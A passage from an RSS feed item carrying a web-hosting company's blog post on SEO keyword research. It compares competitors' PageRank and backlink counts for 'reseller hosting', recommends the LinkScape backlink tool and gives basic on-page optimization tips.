Age: 10/2002
Y! Links: 1,790,00 (Y! Pages 1,100)
Majestic SEO LinkDomain: 41,897
&nbsp;
www.premiumreseller.com
PR 4
Age: 11/2005
Y! Links: 5,620
Majestic SEO LinkDomain: 1,775
&nbsp;
www.5shadesreseller.com
PR 4
Age: 12/2006
Y! Links: 27,700
Majestic SEO LinkDomain: 941
&nbsp;
www.resellerspanel.com
PR 5
Age: 05/2003
Y! Links: 248,100
Majestic SEO LinkDomain: 10,905
&nbsp;
www.hostdime.com
PR 6
Age: 05/2002
Y! Links: 5,810
Majestic SEO LinkDomain: 8,042</pre></div></div>

<p>(I listed the Y! Pages stat for HostGator as their result is a sub-page so how many links pointing to the page is an important metric)</p>
<p>Our Y! Links number is low at 4,830.  Before the relaunch it was over 25,000.  This is due to NexusPortal being shut down and the engines having to reindex our forum.  At first glance I would think that the top spot might be out my reach for now.  HostGator&#8217;s link pop is outrageous.  But to see PremiumReseller outrank the others makes me think that in the future, with some intense link building, even the #2 slot is attainable as it has less inbound links and lower PR than those below it.  But these stats alone are not enough to give us the full story.  </p>
<h2>Backlink Analyzing</h2>
<p>If you&#8217;re serious about competing in competive niches (like web hosting) you need to analyze the inbound links of the guys at the top.  Knowing how many links is not enough.  You need to know where these links are coming from and most importantly, you need to know about anchor text and how many links a competitor has continue the target term as anchor text.  And unfortunately there not many tools that provide this data for free.  You can use Yahoo&#8217;s API and get their info but as I said above &#8211; it isn&#8217;t accurate.  Also tools using Yahoo&#8217;s API have limitations (on results and how many times data can be accessed).  I have thought about making such a tool as a few I found seem to be broken but I am certain such a tool, if it became popular, would be a huge drain on server resources.  Anyhow, maybe more on that at another time. <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>There are a few paid tools out there and I&#8217;ve tested a few but the cream of the crop is <a href="http://www.seomoz.org/linkscape">LinkScape</a>.  It has a limited free option but to get the meaningful data you need to be an SEOmoz Pro member (and I am).  It is $80/mo but if there was one thing you had to invest in for your SEO efforts this should be it.  You get alot of other stuff with Pro membership but LinkScape is the big daddy of SEO tools.  At a glance you can tell where your competitor&#8217;s links are coming from and what anchor text is being used so you can easily see what type of link building work you need to do and how much of it.</p>
<p>I can see 5shadesreseller has about 1000 domains pointing to it and I know they all have &#8220;Reseller Hosting&#8221; in the anchor text.  I know exactly how they got all those links via a very clever ploy that I think I&#8217;m going to copy (heh).  HostGator has about 760 links from original domains with the Reseller Hosting anchor text.</p>
<p>So yep, you really need a tool that can analyze backlinks.  LinkScape is its own search engine really.  It doesn&#8217;t use any 3rd party data, it&#8217;s all spidered by the LinkScape bots.  It updates monthly now and it&#8217;s getting quicker all the time and each update goes deeper.  It also has its own metrics like mozRank that VERY closely mirror Google&#8217;s own PageRank.  In fact they seem to have nailed Google&#8217;s trust algorithms to a tee.</p>
<h2>On-Page Optimization</h2>
<p>Next thing to do is take a look at each site, see how it&#8217;s optimized and get more info.  But on your own site these are all factors firmly within your control so no matter how well optimized a site is, you can do the same.</p>
<p>On the SEO Toolbar you can highlight the keyword text to see how many times the term appears and where it appears.  We will also be going into these On-Page optimization techniques later in the series.  But basically the rule is the keyword in the title, in one of the first words on the page, in an h1 tag and a few times elsewhere on the page.  You can easily check the page to see how well it is optimized and check the source code for h1 tag usage.  But these aren&#8217;t factors to consider when selecting what keywords to target.</p>
<h2>Final Words</h2>
<p>Look out for sites with low PR with lots of links.  This means that Google thinks the links are poor so if you collect good links it might be easy to outrank such sites.  By working out a site&#8217;s link popularity and quality vs your own site’s link popularity and quality you can work out your chances of competing for a keyword.  So research the SERP (Search Engine Ranking Page) for each keyword and see which are viable.  Aim for two or three keyword terms per target page.  If they are combinations of a primary core term that works even better.  If you have a keyword term of &#8220;blue widget&#8221; for example and &#8220;cheap blue widget&#8221; is also a high value term the On-Page optimization techniques when combining the two will look more natural.</p>
<p>So now you can work out what keywords to target.  Simple, right? <img src='http://www.hostnexus.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Post from: <a href="http://www.hostnexus.com/blog">HostNexus Blog</a><br/><br/><a href="http://www.hostnexus.com/blog/keyword-research-so-now-what/">Keyword Research &#8211; So Now What?</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hostnexus.com/blog/keyword-research-so-now-what/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

